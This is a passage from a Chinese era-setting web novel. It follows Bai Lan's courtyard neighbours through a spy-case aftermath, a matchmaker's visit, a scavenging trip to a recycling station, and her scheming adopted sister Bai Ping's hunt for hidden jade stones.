在梦里看到这里的时候，白兰这才知道二姐之前遇到街溜子，被许强相救是怎么一回事。 偏偏就是这样的渣子，后来还强了二姐。然后用这个事情逼二姐跟他结婚。婚后更是让二姐当牛做马。给他带之前生的几个女儿。而且还逼二姐生儿子。 二姐因为操劳过度流产无法再生。然后许强就堂而皇之在外头找人生儿子。在这个过程中，二姐也不敢反抗，她想跟大姐说。但大姐家里因为生孩子闹得不愉快，二姐不敢给她添乱。 就这样，白梨最终也没活过五十岁。就因为操劳过度人没了。 而许强靠着做间谍积累的资本，在改革开放后洗白了自己，摇身一变成为了港城富商。 许美丽靠着这个大哥，更是成为了港城名媛。 这个走向，看得白兰气得在梦里就拳打脚踢起来。 许建北赶紧把人抱怀里，看她清醒过来，忙问是不是做噩梦了。 “梦都是相反的。” 白兰点头，可不就是相反的嘛！ 这辈子大姐离婚了，她换了个好对象，二姐也摆脱了人渣。再也没有比这更好的了。 至于那些人渣反派什么的，一个个都倒霉透顶，再也不会出现原剧情中那种风光了。 第53章 第53章大杂院闲谈 “你公婆没说什么吧！”白兰坐在自家的堂屋里，听着她妈小声说话。 “没有，她什么都没说。就招呼我跟建北多吃点。” 距离白兰被绑架已经过了大半个月，这段时间外头乱糟糟的，到处都是各种传言。但白兰其实过得挺平静的。 直到许建东被扫出大杂院后，白兰才跟许建北，找了个空闲的周末一起回到大杂院。 午饭是在许家吃的。许家老两口一如既往，见白兰跟许建北回来，很热情地招呼他们多吃肉。饭桌上没人提起许建东跟苏小妹。仿佛这两人从来不存在那般。 就是两孩子也没听说有找爸妈的。可想而知平时许建东跟苏小妹是有多么失败。连自己的孩子都不惦记他们。 反正白兰听说后都觉得挺可笑的。 “妈，你就放宽心吧！我跟建北没做错事。那边不会有人说什么的。” 白妈妈连连点头：“那就好。我就怕你公婆心里有结。”闺女嫁到许家，当妈的自然希望白兰跟公婆相处得好。 “对了，许家二小子是快走了吧！” “嗯，估计也就这两天了。”许建西来北城的最重要目的，其实就是为了把潜藏在北城的一条间谍线路给挖出来。 听说这边这条线，跟南方许建西他们查出来的另外一条，有着紧密的关系。所以许建西才会特意来北城“钓鱼”的。当然，这些个消息许建西说得含含糊糊，也就白兰跟许建北知道一些。明面上，大伙儿都只以为许建西真是为了下乡农场过来北城采购螺丝的。 反正，白兰特别好奇许建西一个普通的下乡小伙子，怎么就混到管间谍这一块来。 许建北也在白家的堂屋坐着，见白兰说话说着眉头皱起来，就知道她在想啥了。 不过二哥的事儿他也没细问。有些事情知道太多不好。就是二哥要回岛上了，他爸妈总是舍不得。 正想着，一直在问许建北最近工作情况的白爸爸，忽然说道：“这次的事情闹开来，钢厂那边听说抓了不少人。你们螺丝厂有抓人吗？” 许建北摇头，他们螺丝厂倒还没来得及被猪肉炮弹攻略。不过听说厂里的食堂采购员被调了岗位。估摸着也牵扯到那养猪场里头了。 这一场轰轰烈烈清除间谍的行动中，除了一部分人被抓，还有一部分人趁势升了上来。 像他，虽然螺丝厂没有人被抓。但因为在这个事情上表现好，许建北已经被提拔成技术科的高级技术员。 而曹昌盛更加夸张。因为钢厂不少人被许强牵连进去。不是被抓就是被降职。空出来的位置愣是让不少清白有能力的人欢呼起来。 所以，许建北最近没怎么见到曹昌盛。这小子忙着呢！ “对了，听说宋厂长也因为这个事情，被上级领导批评了一通。”这消息是许建北听说的。但可信度很好。员工里面潜藏着间谍没有发现，而且这间谍还把厂里不少关键岗位的人给腐蚀了。作为一把手的宋厂长，难辞其咎。 白兰也听到许建北说过这个事情。现在见他特意提前来，就看了过去。 结果，果然就看到白爸爸跟白妈妈眼神中多少带了些担忧。这个担忧不是对着宋厂长，而是对着白苹。 是的，就是那个已经无声无息嫁到宋家一段时间的白苹。 虽说钱家人可恨，但白苹是白爸爸跟白妈妈当自家孩子养大的。就是再可恨，心里深处多少还是会记挂的。 白兰并不觉得有什么。她也没说话，见她妈竖起耳朵听许建北说宋家的事情。起身就朝外头走去。 —— 结果还没走到院子，就看到有个眼生的大妈被隔壁秦婶子带了进来。 白兰看了两眼也没怎么在意。但马上就听到那大妈在那嘀咕：“你们这院子还挺多未婚男女青年的。” 秦婶子讨好笑笑：“那可不！孩子长大了，就要谈婚论嫁了。偏我们院儿的小年轻就是不着急。我们这当爸妈着急的。这不就只能托你帮忙吗？” 两人边说边进了秦家屋子。结果下一刻，就看到秦艳一副生无可恋的表情从里面走了出来。 白兰见状有点想笑。但她忍住了，上去就问：“是不是催你呢？” 秦艳叹气：“是啊！不止我还有我哥。哎。” 听到秦堂的名字，白兰还愣了愣。实在是最近这两个月她身边发生了太多事情。加上对方因为高青青的事情住到纺织厂宿舍了。白兰都好久没见过对方了。 “好像最近没怎么见过你大哥。” 秦艳撇嘴：“他不敢回家啊！那高青青虽然好像改了，整天躲家里。但 我哥还是怕她。” 这种事情没法解决。又不能把高青青赶走。看胡家的样子，也不会跟高青青离婚。最终，反倒是受害者被逼着远离。 “我觉得我们家跟胡家可能相克！” 秦艳小声嘀咕：“我们回收站的转正名额出来了。果然就是胡爱花。” 这事儿白兰还真不知道。之前胡寡妇是在胡同到处说自家闺**秀，这次铁定能转正。没想到还真成了。 “你们回收站的关系户乐意啊！” 秦艳贼兮兮道：“当然不乐意。最近站里可热闹了。要不是出了苏小妹的事情，怕早传遍这一片了。” 见秦艳还有心思八卦，白兰就知道这妮子虽然不高兴没有转正。但心里没有受到多少影响。 听了一耳朵回收站的二三事后，白兰还想着一个小小的回收站，里面的关系居然比纺织厂大食堂还有复杂。 而秦艳说着说着，忽然拉着白兰说道：“我这几天偶尔会看到白苹在胡同徘徊。你说她是不是……” 一听白苹，白兰又想到宋厂长吃挂落的事情。心想莫不是回来跟家里求援？这也不可能啊！ 结果下一刻，就听到秦艳说道：“反正她就沿着胡同来回走动，还有一次跑到我们回收站门口扒拉那些破烂石头。” 听到这话，白兰瞬间反应了过来。 原来白苹是回来找那几块翡翠原石啊！之前她靠着白苹那本记事本，抢先一步把那几块石头免费搬了回来。现在还藏在她家床底下呢！ 事情都过了多久，白苹居然现在才来找。这人这段时间干啥去了？ 正说着话，就看到大头从外头跑了进来。白兰朝他挥了挥手，对方笑笑往家里去。 秦艳这时候羡慕道：“我比较羡慕大头。他虽然也是临时工，但开大火车的临时工耶。能出门能弄外快多好啊！等他再开一段时间积累经验，说不定就能转正。不像我，在回收站收垃圾，估计这辈子也就这样了。” 这样情绪低落的秦艳，白兰很少见到。她伸手拍了拍她的肩膀。很想说再过几年，市场一开放，就是捡垃圾都能暴富。 —— 被秦艳羡慕着的大头，一回到家里，水还没来得及喝呢，就听到他妈说道：“秦家找了媒人来给秦堂介绍对象。要不妈也过去托人家问问？” 大头一听，刚入口的水立马喷了出来。他呛得咳嗽了两声，这才说道：“妈，不用不用。咱家的情况就这样，娶人家姑娘不是拖累人家吗？” 大头有自知之明，他虽然去当临时司机了。但一个学徒，工资很少。也就靠偷摸帮人买东西才赚点辛苦费。他家负担重，现在好媳妇是害了人家。 宁妈一听表情瞬间垮了下来。 屋里躺着的宁爸这时候嚷嚷：“都是我拖累了你们娘儿两！” “爸，你说啥呢！” 大头是个孝顺的，见他这样说，立刻进去安慰起他来。他爸是没照顾过他，也没赚过一分钱养他。但那也是他爸！大头最怕这爸自怨自艾。所以平时对他听纵容的。 “咳咳。”宁爸咳嗽两声，又说道：“是我没用。我这当爸赚不到钱不说，天天都要你这当儿子的往里面贴钱。” 宁妈安慰：“儿子都这么大了。正是赚钱的时候。你也别说丧气话。这两天你胃口不好，儿子，你问问建北那还有没有那个干蚝？你爸爱吃这个煮粥。拿点钱跟建北再换点回来可不可以？” 这没啥大不了的。大头一口答应。唯一担心的就是东西怕都吃完了。 —— 所以，当白兰在安慰秦艳的时候，就看到大头拿着钱来买干蚝。 这东西就是年前许建西回来的时候扛回来的。当时看着扛了一麻袋海货。但里头海菜、咸鱼啥都有。所以干蚝其实没多少。这眼瞅着马上就要入夏了。干蚝早吃完了。 “这还真没了。其他干活估计也没多少。海菜可能还有。要不我让建北去问问我婆婆？” 这有点麻烦。但大头想到他爸那瘦干干的样子，立刻点头。 白兰也知道大头孝顺，笑笑喊许建北出来。 见许建北回家问去了，白兰这才看向大头：“最近工作还适应不？” 之前大头是偷摸着帮忙做卤肉的运输工作。但一个小伙子天天出门不着家又赚钱。时间久了，明眼人就知道他干投机倒把。所以许建南给他在运输公司弄了个学徒工名额。 偶尔跟着老师傅出车，能学到本事还能赚点钱。 一听问开车的事情，大头笑出一口大白牙。 秦艳还在自怨自艾呢，看到有点子不舒服，吐槽道：“还是你运气好！” 大头乐呵呵地抹了把脑袋，觉得秦艳今天心情不好，他不敢招惹。 秦艳没那么多顾忌，对着大头就吐槽这几天遇到的糟心事。 就在这时候，秦婶子又带着那媒人走了出来。看到白兰几个站院子聊天，秦婶子朝秦艳招招手。 第54章 第54章媒人上门 “你家姑娘这样的人才，铁定能找个好的。”媒人把秦艳从头到脚仔细打量一遍。对着秦婶子夸奖起来。 秦婶子：“哎哟，她小姑娘家家的，别夸她。” 媒人一副你太谦虚的模样，又看向白兰：“这姑娘又是哪家的啊！长得可真标志。” 白兰：……这媒人是要给自己介绍对象？呵呵…… 不等白兰开口，秦艳先翻了个白眼儿。 秦婶子看到瞪了女儿一眼，这才对着媒人笑笑：“哎哟，吴大姐。这可不是姑娘，是小媳妇喽……” “就是就是，白兰可是结了婚的。说不定都怀上了……”边上一直看热闹的胡寡妇冷不丁插话，一副挤眉弄眼的样子。看得白兰只想呵呵。 她也真不想继续留在院子了。因为她发现这媒人出来后，大杂院不少大妈婶子已经朝这里围了过来。显然都是要找这媒人给自家孩子介绍对象的。 伸手拉过秦艳，白兰直接问：“要出去走走不？” 秦艳连忙点头，她刚差点发火了。那媒人打量自己的眼光就跟看一块猪肉肥不肥似的。也不知道她妈从哪儿找来的人。 两人手拉手走出大杂院，秦艳就问白兰：“兰兰，我们去哪儿好啊！” 白兰耸耸肩，其实她也没什么要去的地方。不过刚刚秦艳跟她提了回收站的事情。她想了想说道：“要不去回收站看看？正好筒子楼那边烧煤炉子要不少旧书用来点火。” 秦艳一想去回收站也好。正好前两天来了一批新的“垃圾”。里头就有不少旧书，正符合白兰的要求。 —— 回收站还是老样子，而且因为是周末，里头没有几个人。白兰跟着秦艳很容易进了堆放各种垃圾的仓库里面。 “这一堆都是没有分拣出来的垃圾。昨天早上送来的。也不知道是哪家人遭了殃……” 秦艳直接带着白兰来到了一堆垃圾跟前。 说是垃圾，因为里头不止有破烂木头、碎玻璃、破烂书本，还有破衣服烂鞋子。看得白兰有点不想靠近。 不过她知道秦艳拉自己来这里，铁定是有什么好事儿要分享。 果然，就看到秦艳四处张望了一圈，神神秘秘压低声音道：“这垃圾昨天卸下来，我们几个临时工被喊来这里分拣。我就在里头捡到了一个袁大头。” 这堪称回收站经典的桥段出现在白兰耳边，她倒是不惊讶。 因为她已经发现这堆垃圾里头的破烂家具，材质居然是后世都出名的黄花梨。这玩意儿以后被炒得价格飙升。说明这堆东西来自于一个富裕的家庭。能在里面找到袁大头一点都不奇怪。 可惜，眼前的家具都被砸散架了。只能看到零星的桌子腿、椅子板，要凑成一个家具有够呛的。 秦艳见白兰直愣愣地看着眼前的垃圾不说话，以为她是不信自己的话，急得又想解释什么。但被白兰阻止了。 “别着急，我信你。这些垃圾估计是真有宝贝。” 说着，白兰的手指向了一个看不清原貌的铁疙瘩。 秦艳疑惑，那是废铁吧！ 白兰笑笑问：“这个仓库就咱两个，没其他人吧！” 秦艳摇头：“门口值班就一个，还有一个在财务室。你要啥自己扒拉出来。最后 再去财务室那边过称交钱。” 确定好这个信息后，白兰直接朝那铁疙瘩走了过去。 秦艳自然好奇，一起跟着走了过去。 —— “这不就是一个铁疙瘩吗？” 铁疙瘩被埋在垃圾堆最下头。两人用铁铲阻隔，废了九牛二虎之力把东西扒拉了出来。看完东西后，秦艳就失望了。 白兰笑笑摇头，这东西看着是铁疙瘩。但是其实是可以扒拉开来的。 这样想着，白兰动作不慢，直接两手用力。就看到一个铁疙瘩被展开，成为一根铁棍，底下还有个底座的东西。 “哇……”秦艳忽然觉得这东西有点眼熟了。 白兰：“这是台灯！” 虽然看着造型跟现在流行的台灯不太像，但这确实是一把可以伸缩的台灯。这样功能的台灯挺稀罕的。现在外头卖的他台灯，很多伸缩功能没有那么强大。 不过这东西也是坏的，缺了灯罩部分。所以秦艳一开始看不出来。不过也不算是个大缺陷。没了灯罩，但连接灯泡的那个接口还在。只要买个灯泡装上去，就能知道这东西坏没坏。 秦艳这时候也看明白了这东西的构造。惊讶道：“兰兰，还是你有眼光。昨天我们几个人扒拉了几个小时，也没人看出这东西是台灯。” 他们几个人昨天费了几个小时，就把这堆垃圾中的一小部分分拣了出来。眼前剩下准备明天上班继续。 白兰也觉得自己眼睛挺尖的。要是能在里面找到什么金子宝石，古董字画就好了。但白兰也知道这不太可能。因为能送到回收站的东西，都是过了好几手的。像她扒拉出来的这个台灯架子，估计就是太破了，人家不想要。 但白兰觉得这东西的造型挺简约的，她喜欢。 秦艳也因为找到了东西而高兴起来。兴匆匆拿起钳子又去扒拉其他东西。 一时之间，整个仓库都是两人翻检东西的声音。 不过这样和谐的气氛没有持续太长时间。就在白兰找到了几本破烂的古代书籍时，门口响起了一阵熟悉的声音。 —— “白兰，你在做什么？” 白兰看了过去，撇撇嘴：“这跟你没什么关系吧！” 白苹瞪眼：“我问你，我那个本子是不是被你捡走呢？” 事情都过去几个月了，没想到白苹又来问自己。但白兰也不意外。当初白苹走得匆忙，后来找那本子过程又粗糙。白兰估摸着这段时间在宋家安稳下来了，认真想想发现哪里不对劲就找了回来。 之前秦艳不就说最近这段时间，老是看到白苹在回收站转悠吗？估计是真发现了什么，来回收站一是来找那几块翡翠原石。再有一个，就是来蹲自己的。 但是，白兰可不会承认自己拿过她的本子。 “什么本子？”白兰装傻充愣。 白苹咬牙切齿：“就是我搬走时落在家里的那个本子。” 白兰一副恍然大悟的样子：“那个本子啊！不是跟你说过了吗？早跟其他东西一起丢垃圾堆了。你没找到吗？” 白苹一看白兰这副样子，就知道是问不出什么来的了。当时她找不到本子，事后就躲家里拼命回想，总算回想了一部分本子的内容。但之后因为跟宋家人闹矛盾，根本没时间来找那几块翡翠原石。最近钢厂出了间谍案。宋家被带累了，放松对她的管控。她这才有空出来找那几块翡翠原石。 这东西在梦中最后是被回收站的站长发现的。 对方凭借着这几块翡翠原石，在之后买了一座三进四合院。二十年后居然值将近十亿。 白苹是不知道十亿到底有多少。但是她知道自己绝对不能错过这几块翡翠原石。这是她以后翻身的本钱。宋家人都不是好东西。嫁过去到现在，自己一点光都沾不上。 白兰不知道白苹那么复杂的心理活动。见把人敷衍过去了，继续拉着秦艳翻检垃圾。反正这里又找不到什么宝贝，她就想找点旧书出来。就是白苹盯着她也不怕。 看白苹在回收站转悠那么多天，白兰猜出对方一定要找那几块翡翠原石。说来这东西被她放到大杂院那半间屋子的床底下，已经好久没去管它了。 白兰想着是不是继续扔那，等到以后再去找师傅来开石头。反正她暂时又不缺钱。 白苹见白兰一副当自己透明的样子，继续开口质问白兰。但白兰已经把她完全当做透明人。自顾自地又扒拉出不少破书。 这把白苹气得够狠的。但她拿白兰一点办法都没有，气冲冲地跑到门口。忽然想到了什么，转身对着门口值班的人喊道：“仓库里面有人找到好东西。你还不赶紧过去分一杯羹……” 看门的不是别人，正是胡寡妇的女儿胡爱花。听到白苹的话，她撇撇嘴。她又不傻，直到白苹跟白兰不对付。刚秦艳带着白兰进里面找旧书。然后白苹跑了进去。现在这副样子，不就是忽悠自己吗？ 反正胡爱花是不信的。 但刚刚走过来找她回大杂院的高青青却信了。立刻抓着胡爱花的胳膊就喊道：“爱花，你没听到吗？刚进，里面有好东西。” 白苹这才发现大门这里值班的人居然是胡寡妇的女儿胡爱花。瞬间反应过来自己刚刚说的慌对方并不信。但她就是要给白兰添堵。于是，她对着双眼放光的高青青喊道：“是真的，我看到白兰在那高兴。肯定是有好东西。” 说完，白苹直接就跑了。 而高青青见胡爱花一副爱答不理的样子，咬咬牙直接跑去仓库。 然后，白兰就看到一个眼冒贪婪光芒的高青青。 “你干什么？”秦艳不客气地拦在高青青跟前。 高青青兴奋的心情在看到秦艳后愣了愣。随即伸手扒拉了一下乱糟糟的头发，亲热道：“是秦堂的妹妹啊！” 这话一出，秦艳瞬间觉得胃里犯恶心。这女人也不知道为什么，嫁给胡爱民都好几个月了。每次看到她都是这副鬼样子。害得她哥到现在都不敢回大杂院住。 她妈说估计等生了孩子就好了。但秦艳觉得不太可能。这女人脑子有坑。 “你干什么？” 秦艳再次质问，高青青终于回应：“听白苹说你们找到好东西了。” 秦艳呵呵两声。别说没找到什么值钱的东西了。就是找到也不可能告诉高青青。 白兰觉得今天捡垃圾也没个消停。干脆把手里拿着的铁钳子扔到一边。招呼秦艳：“就要这些，一起去财务室结算。” 高青青被两人无视个彻底。想要再问好东西，但没人理会她。 而白兰为了没有后续麻烦，干脆在财务室跟值班的人吐槽刚刚高青青的疯狂举动。 “哎，你是不知道哦。那高青青就跟疯了一样，看着我找的这堆废纸喊好东西。真是好笑。” 值班人也跟着乐。他们这些在回收站工作的，可太清楚里面的门道了。真有好东西，根本轮不到这些来买废品的人捡漏。要是捡漏有那么容易，他们回收站的人早发财了。 废纸跟那个破烂台灯买完后，白兰拎着个麻袋直接往外走。一出回收站的大门，就听到高青青在跟胡爱花吵架。 胡爱花看到她们两出来，立刻跟她们两道歉。 “我大嫂脑子有毛病，你们别跟她一般见识。” 白兰摆摆手：“下次还是让她别乱扣帽子。我刚买的东西给财务室的人都检查过了。真是好东西，他找就截下来了。” 高青青见胡爱花没有站在自己这一边，气得跺脚。大声嚷嚷道：“妈让我叫你回去。大杂院来了个媒人，你赶紧过去给人家瞧瞧，好给你找对象。” 这话一出，真是把路上的人都吓了一跳。 白兰瞬间觉得胡爱花也挺可怜的。有这样神经质的大嫂。 事实上，胡爱花也真是气得脸红。转身就不搭理高青青，继续干自己的活儿。 秦艳见状，拉了拉白兰：“那媒人还没走啊！” 白兰笑笑：“怕啥，要是没走，东西放下我们又出去溜达。”反正白兰好久没来这边了，正好把附近都逛一遍。她跟许建北还要在螺丝厂住一个星期，把一些工作结束后才会搬回大杂院居住。 在这里生活了大半年，白兰其实特别想出去走走。像许建西马上就回南方的岛上。白兰其实就 特别想去。可惜，现在管得严，交通也不方便。她也就是想想而已。 心里想了一大通东西，还没走到大杂院。就听到身后高青青那哒哒的脚步声。 两人都没有回头。但高青青很快就跑过了她们往大杂院去。 秦艳再次吐槽：“也不知道她什么时候才能不发疯。” 白兰：“你妈不是找了媒人来吗？等你大哥相亲成功后，估计能好一点吧！” 这话其实白兰也不是很自信。主要是她没见过像高青青这样颠颠的人。 两人很快就回到了大杂院。果然就看到后院挤满了大妈婶子。就连大头他妈宁婶子都挤在人群中。平时沉静的样子变得热切不已。 甚至，白兰还看到她婆婆苗大菊被人拉着挤了进去。 这让她忍不住感叹，这年头大家对媒人还真是热切啊！ 第55章 第55章奇怪的相亲 本以为媒人造访对许家没什么影响。但白兰很快发现自己太天真了。 “什么？给许建东找对象？” 白兰瞪大双眼看着柳美玲，简直以为自己听错了。 柳美玲也是一副十分无语的表情：“可不是嘛！也不知道哪个人想的，跑家里来问妈，说想给许建东找对象！” 自从苏小妹的事情过后，许建东就被打包丢到纺织厂的宿舍里了。家里平时不怎么管他，只婆婆苗大菊每个月按时去厂里领许建东的工资。工资到手后，三分之二拿回家养许建东的两个儿子，剩下三分之一给许建东当生活费。 至于他跟苏小妹的婚姻状况，许建东是一直要离婚的，但苏小妹不愿意。这会儿苏小妹都被送去农场劳改了。所以这离婚的事情一直没成。偏偏这两人结婚时没有领证。严格说起来，许建东居然还是个未婚人士。 听说这个事情后，白兰都震惊了。而现在，居然还有人才跑来说要给许建东找对象。也不知道图啥？许建东除了半拉房子，也没啥能让图的啊！ “那妈铁定把人给赶跑了！”想到苗大菊的性格，白兰忍不住道。 柳美玲：“可不是嘛！那媒人一开口，妈就生气了。直接把人给骂跑了。也不知道哪个缺德冒烟的，居然给媒人说许建东。” —— 与此同时，大杂院好几户人家也在说着媒人上门的事情。 比如一开始找媒人来的秦婶子，已经在跟秦艳说着给她找对象的事情。 秦艳：“不是说给大哥介绍吗？” 秦婶子：“你大哥跟你一起找。现在好对象也难找。早点下手免得后面好的都没了。你啊你，你跟白兰整天呆一块。怎么就不学学她呢！你还不知道吧！许建北这小子都快升职了。白兰这眼光多好啊！你跟她混一块，咋就没学到这一点呢！” 这话让秦艳霎时不知道该怎么反驳好。 而前院的宁家，这会儿也在进行同样的对话。 “不是说了不找吗？怎么还跑去找媒人！” 大头一回家，被他妈兴匆匆拉着说找对象的事情，如同往常一样，直接说出自己的决定。 以往一向听儿子的宁婶子，这次却一反常态：“这次的媒人认识人多。她说了，你的条件其实挺好的。咱家唯一的短板的就是你爸。但是我跟媒人说了，以后你结婚，顾着自己的小家就可以了。你爸我可以负担的。这样的话，你当司机赚的钱，铁定能养家糊口。” 一切都盘算得好好的。宁婶子觉得那媒人说的没错。儿子都快二十了，再不找对象，真就成老光棍了。到时候更加不好找。还不如现在早点找，找个比家里条件差的，铁定能成。 大头还是摇头，他有他的考量。所以他再次拒绝，然后进屋干活去了。 本以为事情就跟以往那样直接过去。哪成想刚吃完晚饭，家里就有人上门来了。 —— 这个点白兰跟许建北也在许家吃过晚饭。夫妻两准备走路回螺丝厂。 结果还没出门呢，就听到前院热闹了起来。 白兰疑惑地拉了拉许建北的手：“是不是大头的声音啊！” 许建北侧耳倾听了，点头：“是，好像在跟人说着什么。” 声音不大，好些个大妈婶子说话的声音夹杂在里头。但许建北还是分辨出里头大头的声音。 白兰更加好奇大头那出了什么事情了。 下一秒，就听到胡寡妇那高亢的声音：“宁疙瘩，你是一家之主。你说说，我家闺女配你家儿子，哪里委屈呢？要不是吴大姐打包票说以后你儿子结婚单独过，我还真不敢上你家门。” 这话一出，白兰跟许建北面面相觑。她没听错吧！胡寡妇这是想让胡爱花嫁给大头？ 这样的配对，让白兰震惊！ 大头可是在这一片出了名的苦孩子。谁都不会乐意把自家姑娘嫁给他的。而胡寡妇虽然重男轻女，但对胡爱花也算可以的。而且还嫌贫爱富，怎么可能把胡爱花嫁给大头。 这可真是奇了怪了！ 不止白兰跟许建北觉得奇怪。这会儿在前院看热闹的众人，一个个都觉得开了眼界了。 万大妈更是起哄：“胡妹子，你咋就看中大头这小子。以前不是说给你闺女找个坐办公室的吗？” 胡寡妇呸一声：“还不是上午来咱大杂院那个吴大姐，她跟宁疙瘩家的合计了一番，说我家爱花跟她家合适。” 白兰这时候已经跟许建东来到了吃瓜最前沿。正好听到这些话，忍不住看向站在家门口的大头跟他妈。 母子一个忙着跟胡寡妇解释，一个正在跟他妈说不可能。加上周围人你一句我一句的，实在够乱糟糟。 许建北这时候小声跟白兰说：“我去把大头喊出来。”眼下这种你一句我一句的争辩，显然不可能解决问题的。 白兰点头：“去吧！待会儿我去胡同口找你。” 夫妻两人商量好后，许建北就直接喊道：“大头，有事情找你。先出来。” 大头正一个头两个大呢！听到这话立刻再次跟他妈强调：“妈，我说了，不相亲。我有事先去忙了。” 说完，大头一溜烟就拉着许建北往外头跑。 主角之一跑了，剩下的人也聊不起来了。 苗大菊这时候过去拉着宁婶子劝说了起来。白兰看周围没什么自己的事情了，准备去外头找许建北。 就在这时候，她发现胡爱花居然站在二门那盯着前院的动静。想到上午在回收站时对方的情况，心想难不成胡爱花其实对大头有意思？？ 胡爱花发现了白兰的视线，立刻转身往家里跑。 这时候还能听到胡寡妇那骂骂咧咧的声音。 白兰真觉得胡寡妇忽然看中大头有点奇怪。那媒人吴大姐再厉害，也不可能立刻把人给说动的。 —— “你说她到底是不是疯了！” 白兰在胡同口找到了许建北跟大头。正好听到大头正在抱怨：“我妈她耳根子太软了。居然想要给我介绍胡寡妇的女儿。胡寡妇是什么人啊！而且瘦杆儿也不是好东西。他那媳妇高青青更是颠颠的。跟这样的人家牵扯到一起，那真是倒八辈子霉。” 而且，大头真不想相亲，他心里已经有喜欢的人了。 许建北一眼就看出了大头心底最深处的想法。他朝白兰招招手，接着叹了口气： “你要真有想法，就跟你妈好好说。你妈不是不讲理的人。你说清楚了，她就不会跟无头苍蝇一样到处碰。你看看今天，胡寡妇闹出那么大的动静。不说她怎么忽然来这一出。就光说这样一来，你要找对象就更难了。” 围观的人会觉得大头家没有担当。人女方上门说相亲的事情，居然还畏畏缩缩。而且，胡寡妇那么厉害的人，好些人知道她看中了大头。估计都不会想跟大头家打交道了。 大头还真没想那么多，霎时间不由地伸手抓脑袋，蹲地上嗷嗷叫。 “北哥！北哥！你教教我啊！” 许建北没啥经验啊！他想了想，说道：“要不你回去跟你妈好好说。然后去找车队给你安排一个出长途的任务。出去躲一阵子，估计就好了。” 反正他们真不想跟胡家扯上关系。目前最好的办法就是这样了。 “其实你也不用怕。胡爱花不是高青青。你家又不住后院。不住一个院儿，不会怎么碰上的。” 大头听出了许建北语气中的调侃，忍不住再次嗷嗷叫起来。 白兰也早从许建北的口中得知大头的真实心意。见他这副样子，拍了拍他说道：“反正，得尽快跟你妈摊牌说清楚。别黏黏糊糊的。我看胡寡妇有小九九。别让你妈给人套路了。” 第56章 第56章神奇的吴大姐 “别一天到晚在外面乱晃。嫁到我们宋家，就要本分。” 在外面晃悠了一天回来的白苹，刚打开门，迎面就是一顿劈头盖脸的批评。她脸皮抽了抽，想骂回去。但知道没什么用，又闭上了嘴巴。 赵梅香见她这副死样子，真是替自家儿子委屈。娶了这么一个货色，儿子就没过过一天开心的日子。 没错，虽然白苹如愿以偿嫁给了宋国平。但从结婚的那一天起，宋国平就一直跟白苹分房睡。除此之外，平时能不在家里呆就不在家里。要不是怕被人知道他这段婚姻的真相。宋国平估计都不会住在家里。 所以，每天看着儿子这样委屈自己，赵梅香真是憋着一股火气。偏这个白苹是个不安分的。结婚后到处蹦跶得罪人。要不是她家老宋还有点面子，怕早就被人上门投诉了。 而且，白苹这样被人换了身份的人，不说亲生的家庭了。就是养她二十年的家人都全都得罪光，就知道不是什么好人。 这段时间家里被间谍的事情连累，正是要夹紧尾巴做人。结果白苹又出去乱晃了。这让赵梅香更加生气。 “我跟你说，你再这样到处得罪人，拼着不要脸面，我也要让国平跟你离婚的。” 这话白苹听过几百次了，她可不怕宋国平要离婚。虽然熬过了那一次的举报调查。但知道未来的一些事情，白苹知道宋家身上有不少小辫子。 她无视了赵梅香，直接回了自己屋里，锁上门后翻出了一本红皮笔记本。 自从丢了那本子后，她这一次特意准备了一个结实的本子。本子上记录了不少梦境内容。有一小部分是回忆之前的梦境。剩下的则是在嫁到宋家后出现的梦境。 是的，嫁给宋国平后，她又开始做新的梦了。这梦里的内容大多数是在几年后发生的。从这些事情中，她能推断出现在可能会发生的事情。 其中，里面就有关于大杂院附近那个回收站的记载。 梦中，这个回收站是个宝地。她今天过去，除了想再找找那不见踪影的翡翠原石。还有就是想提前把回收站的人都认识个遍。 谁知道居然能碰上白兰。 不知道白兰去那里做什么。但白苹总觉得不会是什么好事。自从新梦境出现后，白苹一直很疑惑。在新的梦境中，白莲、白梨、白兰的性格跟命运，跟现实相差太远了。 除了他们之外，还有一些人在梦里没有出现过。但现在经常冒头，比如许建北跟许建西兄弟两。还有钢厂这个间谍案。 这些事儿都跟梦里相差巨大。要不是涉及的人数太多，白苹都要怀疑他们是不是跟自己一样，会做关于未来的梦。因为知道未来不如意，这些人才会改变命运。 但不管这些人再怎么改变命运，有些宝贝的出现是不会改变的。还有一些人的未来，还是一如既往地没有变化。 想到今天在回收站遇到的人，白苹冷哼一声。白兰以为她自己有多了不起！哼，这样的人，很快就知道她的人生没有那么美好。 —— 来自白苹的深深恶意，白兰暂时是接触不到的。 安抚好大头后，白兰就跟许建北一起往螺丝厂走。 一路上人还不少。天气渐渐热了，大家吃过饭都在外头走动。 “你说大头这次能跟他妈说好吗？”白兰用手肘碰了碰许建北。 许建北好笑道：“应该会说。再磨蹭下去，他的处境更难。” 白兰想到今天秦婶子跟那媒人吴大姐说话的表情，叹气：“秦婶子不会愿意秦艳跟大头处对象的。而且，秦艳现在看起来，好像也没有喜欢大头的意思。” 是的，大头喜欢秦艳。这是许建北先发现的。后来，白兰也知道了。自己的好朋友喜欢上另外一个好朋友。作为中间人，白兰觉得自己最好不好牵扯进去。 特别是秦艳明显没有察觉，而且秦艳看着也没开窍的样子。平时无忧无虑，秦艳唯一的烦恼就是回收站的工作一直转正不了。 所以，白兰觉得大头的机会很渺茫。 “不说这个了，我跟你说，那个台灯……” 台灯跟一些废纸打包好，正提在许建北的手上。准备带回螺丝厂，直接在那边修。 许建北也没注意，听白兰一说看了看手里提着的东西。 “等明天有空我看看能不能修好。说起来，曹昌盛这小子最近也在收集各种元件……” 白兰一听，立刻就想到了年代文中经常会有的桥段。那就是收集各种收音机、录音机的元件，自己组装起来卖。这样能赚不少钱。 她把自己的想法一说，许建北笑道：“你还知道这个啊！虽然那小子没说，但我看他找的元件，估摸着就是在弄收音机。” “他这是缺钱啊！” 许建北想了想摇头：“他刚升职，加了不少工资。钢厂开除了不少人。他最近的工作量增加了一些。奖金一定很多。而且，他家其实还挺有钱的。” 白兰还真不清楚曹昌盛的家庭情况。只知道他是许建北的高中同学。毕业后就在钢厂上班，平时一个人住在钢厂的单人宿舍。 这样的待遇，算是个青年才俊了。 “他爸妈都是保密单位的科研人员。” 短短一句话，白兰愣住了。接着她感叹道：“那他爸妈一定是很伟大的人。” 许建北笑笑，直到白兰想到了什么。点头：“是啊！别看这小子滑头，但人真心可靠。” 这话白兰认同。之前那次许强安排的英雄救美桥段。要不是曹昌盛帮忙，她二姐怕还真会被人给骗了。 也是这一次许强的失败，才会有了后来绑架、揪出间谍一系列事情。 